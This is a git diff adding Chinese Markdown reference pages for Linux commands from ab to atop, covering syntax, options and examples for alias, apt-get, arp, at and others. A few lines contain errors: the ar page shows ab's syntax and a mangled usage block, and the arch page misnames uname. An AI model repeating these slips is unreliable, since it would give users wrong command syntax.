diff --git a/LearnShell/LinuxCommands/ab.md b/LearnShell/LinuxCommands/ab.md new file mode 100644 index 0000000..898838d --- /dev/null +++ b/LearnShell/LinuxCommands/ab.md @@ -0,0 +1,43 @@ +ab +=== + +Apache服务器的性能测试工具 + +## 补充说明 + +**ab命令** 是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。 + +### 语法 + +``` +ab(选项)(参数) +``` + +### 选项 + +``` +-A:指定连接服务器的基本的认证凭据; +-c:指定一次向服务器发出请求数; +-C:添加cookie; +-g:将测试结果输出为“gnuolot”文件; +-h:显示帮助信息; +-H:为请求追加一个额外的头; +-i:使用“head”请求方式; +-k:激活HTTP中的“keepAlive”特性; +-n:指定测试会话使用的请求数; +-p:指定包含数据的文件; +-q:不显示进度百分比; +-T:使用POST数据时,设置内容类型头; +-v:设置详细模式等级; +-w:以HTML表格方式打印结果; +-x:以表格方式输出时,设置表格的属性; +-X:使用指定的代理服务器发送请求; +-y:以表格方式输出时,设置表格属性。 +``` + +### 参数 + +主机:被测试主机。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/accept.md b/LearnShell/LinuxCommands/accept.md new file mode 100644 index 0000000..4577ffa --- /dev/null +++ b/LearnShell/LinuxCommands/accept.md @@ -0,0 +1,29 @@ +accept +=== + +指示打印系统接受发往指定目标打印机的打印任务 + +## 补充说明 + +**accept命令** 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。 + +### 语法 + +``` +accept(选项)(参数) +``` + +### 选项 + +``` +-E:当连接到服务器时强制加密; +-U:指定连接服务器时使用的用户名; +-h:指定连接服务器名和端口号。 +``` + +### 参数 + +目标:指定目标打印机。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/alias.md b/LearnShell/LinuxCommands/alias.md new file mode 100644 index 0000000..f0ce496 --- /dev/null +++ b/LearnShell/LinuxCommands/alias.md @@ -0,0 +1,112 @@ +alias +=== + +用来设置指令的别名 + +## 补充说明 + +**alias命令** 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误。 + +alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。 + +### 语法 + +``` +alias(选项)(参数) +``` + +### 选项 + +``` +-p:打印已经设置的命令别名。 +``` + +### 参数 + +命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’”。 + +### 实例 + + **alias 的基本使用方法为:** + +``` +alias 新的命令='原命令 -选项/参数' +``` + +例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名。 + +要删除一个别名,可以使用 unalias 命令,如 unalias l。 + + **查看系统已经设置的别名:** + +```bash +[root@localhost ~]# +[root@localhost ~]# alias +alias cp='cp -i' +alias egrep='egrep --color=auto' +alias fgrep='fgrep --color=auto' +alias grep='grep --color=auto' +alias l.='ls -d .* --color=auto' +alias ll='ls -l --color=auto' +alias ls='ls --color=auto' +alias mv='mv -i' +alias rm='rm -i' +alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' +[root@localhost ~]# + +``` +### 命令别名永久生效 +直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了。 +```bash +$ vim ~/.bashrc +``` +在文件最后面加入别名设置,如:alias rm=’rm -i’,保存后重新载入: +```bash +$ source ~/.bashrc +``` +这样就可以永久保存命令的别名了。因为修改的是当前用户目录下的.bashrc文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改/etc目录下的bashrc文件就可以了。在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发有这样一段代码: +```bash +if [ -f ~/.bash_aliases ]; then + . ~/.bash_aliases +fi +``` + +这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。 + +### 小结 + +alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况。 + + + + +#### 一、 范例演示 + +在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令。 + +#### 二、 自定义命令简介 + CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名。 + + +#### 三、 演示举例 +假定系统操作员希望进行如下操作: +1.进入目录/root +2.查看目录下文件 +3.切换回根目录 +通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。 +![](alias\01.png) + +#### 四、 操作过程 + 首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用。 +![](alias\02.png) + + 使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的。 +![](alias\03.png) + + 测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令。 +![](alias\04.png) + + 如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令。 +![](alias\05.png) + + diff --git a/LearnShell/LinuxCommands/apachectl.md b/LearnShell/LinuxCommands/apachectl.md new file mode 100644 index 0000000..bd47688 --- /dev/null +++ b/LearnShell/LinuxCommands/apachectl.md @@ -0,0 +1,28 @@ +apachectl +=== + +Apache服务器前端控制工具 + +## 补充说明 + +**apachectl命令** 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。 + +### 语法 + +``` +apachectl(参数) +``` + +### 参数 + +* configtest:检查设置文件中的语法是否正确; +* fullstatus:显示服务器完整的状态信息; +* graceful:重新启动Apache服务器,但不会中断原有的连接; +* help:显示帮助信息; +* restart:重新启动Apache服务器; +* start:启动Apache服务器; +* status:显示服务器摘要的状态信息; +* stop:停止Apache服务器。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/apropos.md b/LearnShell/LinuxCommands/apropos.md new file mode 100644 index 0000000..41928a8 --- /dev/null +++ b/LearnShell/LinuxCommands/apropos.md @@ -0,0 +1,74 @@ +apropos +=== + +在 whatis 数据库中查找字符串 + +## 补充说明 + +**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。  + +如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。 + +### 语法 + +``` +apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ... +``` + +### 选项 + +``` +-d, --debug:输出调试信息。 +-v, --verbose:输出详细的警告信息。 +-r, -- regex:将每个keyword作为正则表达式解释。这是默认行为。每个keyword将匹配手册页和描述。 +-w, --wildcard:将每个keyword作为shell样式的通配符解释。 +-e, --exact:每个keyword将精确匹配手册页名字和描述。 +-a, --and:只显示匹配所有keyword的手册页和描述。默认显示匹配任何keyword的项。 +-l, --long:不根据终端宽度缩减输出。 +-s section, --section section:只查找指定的手册section。 +-m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。 +-M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 +-L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 +-C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。 +-h, --help:打印帮助信息并退出。 +-V, --version:打印版本信息并退出。 +``` + +### 返回值 + +返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。 + +### 实例 + +``` +[root@localhost ~]# man -k who +at.allow [at] (5) - determine who can submit jobs via at or batch +at.deny [at] (5) - determine who can submit jobs via at or batch +jwhois (1) - client for the whois service +jwhois (rpm) - Internet whois/nicname client. +Net::LDAP::Extension::whoami (3pm) - LDAP Who am I? Operation +w (1) - Show who is logged on and what they are doing +who (1p) - display who is on the system +who (1) - show who is logged on +whoami (1) - print effective userid + +[root@localhost ~]# apropos who +at.allow [at] (5) - determine who can submit jobs via at or batch +at.deny [at] (5) - determine who can submit jobs via at or batch +jwhois (1) - client for the whois service +jwhois (rpm) - Internet whois/nicname client. +Net::LDAP::Extension::WhoAmI (3pm) - LDAP Who am I? Operation +w (1) - Show who is logged on and what they are doing +who (1p) - display who is on the system +who (1) - show who is logged on +whoami (1) - print effective userid +``` + +查找手册页名字和描述中包含emacs和vi的手册页: + +``` +apropos -a emacs vi +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/apt-get.md b/LearnShell/LinuxCommands/apt-get.md new file mode 100644 index 0000000..9a4d9da --- /dev/null +++ b/LearnShell/LinuxCommands/apt-get.md @@ -0,0 +1,92 @@ +apt-get +=== + +Debian Linux发行版中的APT软件包管理工具 + +## 补充说明 + +**apt-get命令** 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。 + +### 语法 + +``` +apt-get(选项)(参数) +``` + +### 选项 + +``` +-c:指定配置文件。 +``` + +### 参数 + +* 管理指令:对APT软件包的管理操作; +* 软件包:指定要操纵的软件包。 + +### 实例 + +使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下: + +``` +deb web或[ftp地址] [发行版名字] main/contrib/non-[free] +``` + +我们常用的Ubuntu就是一个基于Debian的发行,我们使用apt-get命令获取这个列表,以下是我整理的常用命令: + +在修改`/etc/apt/sources.list`或者`/etc/apt/preferences`之后运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的: + +``` +apt-get update +``` + +安装一个新软件包: + +``` +apt-get install packagename +``` + +卸载一个已安装的软件包(保留配置文件): + +``` +apt-get remove packagename +``` + +卸载一个已安装的软件包(删除配置文件): + +``` +apt-get –purge remove packagename +``` + +会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件: + +``` +apt-get autoclean apt +``` + +这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的: + +``` +apt-get clean +``` + +更新所有已安装的软件包: + +``` +apt-get upgrade +``` + +将系统升级到新版本: + +``` +apt-get dist-upgrade +``` + +定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可以使用`apt-get clean`以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试: + +``` +apt-get autoclean +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/apt-key.md b/LearnShell/LinuxCommands/apt-key.md new file mode 100644 index 0000000..29123f3 --- /dev/null +++ b/LearnShell/LinuxCommands/apt-key.md @@ -0,0 +1,30 @@ +apt-key +=== + +管理Debian Linux系统中的软件包密钥 + +## 补充说明 + +**apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。 + +### 语法 + +``` +apt-key(参数) +``` + +### 参数 + +操作指令:APT密钥操作指令。 + +### 实例 + +``` +apt-key list #列出已保存在系统中key。 +apt-key add keyname #把下载的key添加到本地trusted数据库中。 +apt-key del keyname #从本地trusted数据库删除key。 +apt-key update #更新本地trusted数据库,删除过期没用的key。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/apt-sortpkgs.md b/LearnShell/LinuxCommands/apt-sortpkgs.md new file mode 100644 index 0000000..e65f684 --- /dev/null +++ b/LearnShell/LinuxCommands/apt-sortpkgs.md @@ -0,0 +1,28 @@ +apt-sortpkgs +=== + +Debian Linux下对软件包索引文件进行排序的工具 + +## 补充说明 + +**apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。 + +### 语法 + +``` +apt-sortpkgs(选项)(参数) +``` + +### 选项 + +``` +-s:使用源索引字段排序; +-h:显示帮助信息。 +``` + +### 参数 + +文件:指定要排序的包含debian包信息的索引文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/aptitude.md b/LearnShell/LinuxCommands/aptitude.md new file mode 100644 index 0000000..f4176b1 --- /dev/null +++ b/LearnShell/LinuxCommands/aptitude.md @@ -0,0 +1,51 @@ +aptitude +=== + +Debian Linux系统中软件包管理工具 + +## 补充说明 + +**aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 + +### 语法 + +``` +aptitude(选项)(参数) +``` + +### 选项 + +``` +-h:显示帮助信息; +-d:仅下载软件包,不执行安装操作; +-P:每一步操作都要求确认; +-y:所有问题都回答“yes”; +-v:显示附加信息; +-u:启动时下载新的软件包列表。 +``` + +### 参数 + +操作命令:用户管理软件包的操作命令。 + +### 实例 + +以下是我总结的一些常用aptitude命令,仅供参考: + +``` +aptitude update #更新可用的包列表 +aptitude upgrade #升级可用的包 +aptitude dist-upgrade #将系统升级到新的发行版 +aptitude install pkgname #安装包 +aptitude remove pkgname #删除包 +aptitude purge pkgname #删除包及其配置文件 +aptitude search string #搜索包 +aptitude show pkgname #显示包的详细信息 +aptitude clean #删除下载的包文件 +aptitude autoclean #仅删除过期的包文件 +``` + +当然,你也可以在文本界面模式中使用 aptitude。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ar.md b/LearnShell/LinuxCommands/ar.md new file mode 100644 index 0000000..ceaa987 --- /dev/null +++ b/LearnShell/LinuxCommands/ar.md @@ -0,0 +1,104 @@ +ar +=== + +建立或修改备存文件,或是从备存文件中抽取文件 + +## 补充说明 + +**ar命令** 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限 + +### 语法 + +``` +ab(选项)(参数) +Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file... + ar -M [ - 从读取选项 +--target=BFDNAME - 将目标对象格式指定为BFDNAME +``` + +选项参数 + +``` +--plugin

- load the specified plugin +``` + +ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex + +### 实例 + +打包文件 + +``` +[root@localhost ~]# ls //显示当前目录文件 +a.c b.c d.c install.log qte +anaconda-ks.cfg c.c Desktop + +[root@localhost ~]# ar rv one.bak a.c b.c //打包 a.c b.c文件 +ar: 正在创建 one.bak +a - a.c +a - b.c +``` + +打包多个文件 + +``` +[root@localhost ~]# ar rv two.bak *.c //打包以.c结尾的文件 +ar: 正在创建 two.bak +a - a.c +a - b.c +a - c.c +a - d.c +``` + +显示打包文件的内容 + +``` +[root@localhost ~]# ar t two.bak +a.c +b.c +c.c +d.c +``` + +删除打包文件的成员文件 + +``` +[root@localhost ~]# ar d two.bak a.c b.c c.c +[root@localhost ~]# ar t two.bak +d.c +``` + + + diff --git a/LearnShell/LinuxCommands/arch.md b/LearnShell/LinuxCommands/arch.md new file mode 100644 index 0000000..035893e --- /dev/null +++ b/LearnShell/LinuxCommands/arch.md @@ -0,0 +1,24 @@ +arch +=== + +显示当前主机的硬件架构类型 + +## 补充说明 + +**arch命令** 用于显示当前主机的硬件架构类型。arch命令等同于`命令name -m`在当前的Linux系统下,arch命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等 + +### 语法 + +``` +arch +``` + +### 实例 + +``` +arch +x86_64 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/arj.md b/LearnShell/LinuxCommands/arj.md new file mode 100644 index 0000000..82c07a4 --- /dev/null +++ b/LearnShell/LinuxCommands/arj.md @@ -0,0 +1,22 @@ +arj +=== + +用于创建和管理.arj压缩包 + +## 补充说明 + +**arj命令** 是“.arj”格式的压缩文件的管理器,用于创建和管理“.arj”压缩包。 + +### 语法 + +``` +arj(参数) +``` + +### 参数 + +* 操作指令:对“.arj”压缩包执行的操作指令; +* 压缩包名称:指定要操作的arj压缩包名称。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/arp.md b/LearnShell/LinuxCommands/arp.md new file mode 100644 index 0000000..84b6fd9 --- /dev/null +++ b/LearnShell/LinuxCommands/arp.md @@ -0,0 +1,46 @@ +arp +=== + +显示和修改IP到MAC转换表 + +## 补充说明 + +**arp命令** 用于操作主机的arp缓冲区,它可以显示arp缓冲区中的所有条目、删除指定的条目或者添加静态的ip地址与MAC地址对应关系。 + +### 语法 + +``` +arp(选项)(参数) +``` + +### 选项 + +``` +-a<主机>:显示arp缓冲区的所有条目; +-H<地址类型>:指定arp指令使用的地址类型; +-d<主机>:从arp缓冲区中删除指定主机的arp条目; +-D:使用指定接口的硬件地址; +-e:以Linux的显示风格显示arp缓冲区中的条目; +-i<接口>:指定要操作arp缓冲区的网络接口; +-s<主机>:设置指定的主机的IP地址与MAC地址的静态映射; +-n:以数字方式显示arp缓冲区中的条目; +-v:显示详细的arp缓冲区条目,包括缓冲区条目的统计信息; +-f<文件>:设置主机的IP地址与MAC地址的静态映射。 +``` + +### 参数 + +主机:查询arp缓冲区中指定主机的arp条目。 + +### 实例 + +``` +[root@localhost ~]# arp -v +Address HWtype HWaddress Flags Mask Iface +192.168.0.134 ether 00:21:5E:C7:4D:88 C eth1 +115.238.144.129 ether 38:22:D6:2F:B2:F1 C eth0 +Entries: 2 Skipped: 0 Found: 2 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/arpd.md b/LearnShell/LinuxCommands/arpd.md new file mode 100644 index 0000000..867b866 --- /dev/null +++ b/LearnShell/LinuxCommands/arpd.md @@ -0,0 +1,46 @@ +arpd +=== + +收集免费ARP信息 + +## 补充说明 + +**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。 + +### 语法 + +``` +arpd(选项)(参数) +``` + +### 选项 + +``` +-l:将arp数据库输出到标准输出设备显示并退出; +-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似; +-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”; +-a:指定目标被认为死掉前查询的次数; +-k:禁止通过内核发送广播查询; +-n:设定缓冲失效时间。 +``` + +### 参数 + +网络接口:指定网络接口。 + +### 实例 + +启动arpd进程: + +``` +arpd -b /var/tmp/arpd.db +``` + +运行一段时间后,查看结果: + +``` +arpd -l -b /var/tmp/arpd.db +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/arping.md b/LearnShell/LinuxCommands/arping.md new file mode 100644 index 0000000..f933c9e --- /dev/null +++ b/LearnShell/LinuxCommands/arping.md @@ -0,0 +1,50 @@ +arping +=== + +通过发送ARP协议报文测试网络 + +## 补充说明 + +**arping命令** 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。 + +### 语法 + +``` +arping(选项)(参数) +``` + +### 选项 + +``` +-b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。 +-q:quiet output不显示任何信息; +-f:表示在收到第一个响应报文后就退出; +-w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出; +-c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止; +-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出; +-I interface:设置ping使用的网络接口。 +``` + +### 参数 + +目的主机:指定发送ARP报文的目的主机。 + +### 实例 + +``` +[root@localhost ~]# arping www.baidu.com +ARPING 220.181.111.147 from 173.231.43.132 eth0 +Unicast reply from 220.181.111.147 00:D0:03:[bc:48:00] 1.666ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.677ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.691ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.728ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.626ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.292ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.429ms +Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 2.042ms +Sent 8 probes (1 broadcast(s)) +Received 8 response(s) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/arptables.md b/LearnShell/LinuxCommands/arptables.md new file mode 100644 index 0000000..42f6ea8 --- /dev/null +++ b/LearnShell/LinuxCommands/arptables.md @@ -0,0 +1,35 @@ +arptables +=== + +管理ARP包过滤规则表 + +## 补充说明 + +**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。 + +### 语法 + +``` +arptables(选项) +``` + +### 选项 + +``` +-A:向规则链中追加规则; +-D:从指定的链中删除规则; +-l:向规则链中插入一条新的规则; +-R:替换指定规则; +-P:设置规则链的默认策略; +-F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略; +-Z:将规则链计数器清零; +-L:显示规则链中的规则列表; +-X:删除指定的空用户自定义规则链; +-h:显示指令帮助信息; +-j:指定满足规则的添加时的目标; +-s:指定要匹配ARP包的源ip地址; +-d:指定要匹配ARP包的目的IP地址。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/arpwatch.md b/LearnShell/LinuxCommands/arpwatch.md new file mode 100644 index 0000000..9b1de0f --- /dev/null +++ b/LearnShell/LinuxCommands/arpwatch.md @@ -0,0 +1,26 @@ +arpwatch +=== + +监听网络上ARP的记录 + +## 补充说明 + +**arpwatch命令** 用来监听网络上arp的记录。 + +### 语法 + +``` +arpwatch(选项) +``` + +### 选项 + +``` +-d:启动排错模式; +-f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat; +-i<接口>:指定监听ARP的接口,预设的接口为eth0; +-r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/as.md b/LearnShell/LinuxCommands/as.md new file mode 100644 index 0000000..61141b5 --- /dev/null +++ b/LearnShell/LinuxCommands/as.md @@ -0,0 +1,41 @@ +as +=== + +汇编语言编译器 + +## 补充说明 + +**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 + +### 语法 + +``` +as(选项)(参数) +``` + +### 选项 + +``` +-ac:忽略失败条件; +-ad:忽略调试指令; +-ah:包括高级源; +-al:包括装配; +-am:包括宏扩展; +-an:忽略形式处理; +-as:包括符号; +=file:设置列出文件的名字; +--alternate:以交互宏模式开始; +-f:跳过空白和注释预处理; +-g:产生调试信息; +-J:对于有符号溢出不显示警告信息; +-L:在符号表中保留本地符号; +-o:指定要生成的目标文件; +--statistics:打印汇编所用的最大空间和总时间。 +``` + +### 参数 + +汇编文件:指定要汇编的源文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/at.md b/LearnShell/LinuxCommands/at.md new file mode 100644 index 0000000..387964c --- /dev/null +++ b/LearnShell/LinuxCommands/at.md @@ -0,0 +1,84 @@ +at +=== + +在指定时间执行一个任务 + +## 补充说明 + +**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。 + +上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。 + +### 语法 + +``` +at(选项)(参数) +``` + +### 选项 + +``` +-f:指定包含具体指令的任务文件; +-q:指定新任务的队列名称; +-l:显示待执行任务的列表; +-d:删除指定的待执行任务; +-m:任务执行完成后向用户发送E-mail。 +``` + +### 参数 + +日期时间:指定任务执行的日期时间。 + +### 实例 + +三天后的下午 5 点锺执行`/bin/ls`: + +``` +[root@localhost ~]# at 5pm+3 days +at> /bin/ls +at> +job 7 at 2013-01-08 17:00 +``` + +明天17点钟,输出时间到指定文件内: + +``` +[root@localhost ~]# at 17:20 tomorrow +at> date >/root/2013.log +at> +job 8 at 2013-01-06 17:20 +``` + +计划任务设定后,在没有执行之前我们可以用atq命令来查看系统没有执行工作任务: + +``` +[root@localhost ~]# atq +8 2013-01-06 17:20 a root +7 2013-01-08 17:00 a root +``` + +删除已经设置的任务: + +``` +[root@localhost ~]# atq +8 2013-01-06 17:20 a root +7 2013-01-08 17:00 a root + +[root@localhost ~]# atrm 7 +[root@localhost ~]# atq +8 2013-01-06 17:20 a root +``` + +显示已经设置的任务内容: + +``` +[root@localhost ~]# at -c 8 +#!/bin/sh +# atrun uid=0 gid=0 +# mail root 0 +umask 22此处省略n个字符 +date >/root/2013.log +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/atop.md b/LearnShell/LinuxCommands/atop.md new file mode 100644 index 0000000..3ead1d6 --- /dev/null +++ b/LearnShell/LinuxCommands/atop.md @@ -0,0 +1,100 @@ +atop +=== + +监控Linux系统资源与进程的工具 + +## 补充说明 + +[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。 + +## 语法 + +``` +atop(选项)(参数) +``` + +## 说明 + +**ATOP列**:该列显示了主机名、信息采样日期和时间点 + +**PRC列**:该列显示进程整体运行情况 + +- sys、usr字段分别指示进程在内核态和用户态的运行时间 +- #proc字段指示进程总数 +- #zombie字段指示僵死进程的数量 +- #exit字段指示atop采样周期期间退出的进程数量 + + +**CPU列**:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲) + +- sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例 +- irq字段指示CPU被用于处理中断的时间比例 +- idle字段指示CPU处在完全空闲状态的时间比例 +- wait字段指示CPU处在“进程等待磁盘IO导致CPU空闲”状态的时间比例 + +CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。 + +cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100% + +**CPL列**:该列显示CPU负载情况 + +- avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量 +- csw字段指示上下文交换次数 +- intr字段指示中断发生次数 + +**MEM列**:该列指示内存的使用情况 + +- tot字段指示物理内存总量 +- free字段指示空闲内存的大小 +- cache字段指示用于页缓存的内存大小 +- buff字段指示用于文件缓存的内存大小 +- slab字段指示系统内核占用的内存大小 + +**SWP列**:该列指示交换空间的使用情况 + +- tot字段指示交换区总量 +- free字段指示空闲交换空间大小 + +**PAG列**:该列指示虚拟内存分页情况 + +swin、swout字段:换入和换出内存页数 + +**DSK列**:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息 + +- sda字段:磁盘设备标识 +- busy字段:磁盘忙时比例 +- read、write字段:读、写请求数量 + +**NET列**:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息 + +- XXXi 字段指示各层或活动网口收包数目 +- XXXo 字段指示各层或活动网口发包数目 + + +## atop日志 + +每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢? + +对于atop日志文件的保存方式,我们可以这样: + +- 每天保存一个atop日志文件,该日志文件记录当天信息 +- 日志文件以"atop_YYYYMMDD"的方式命名 +- 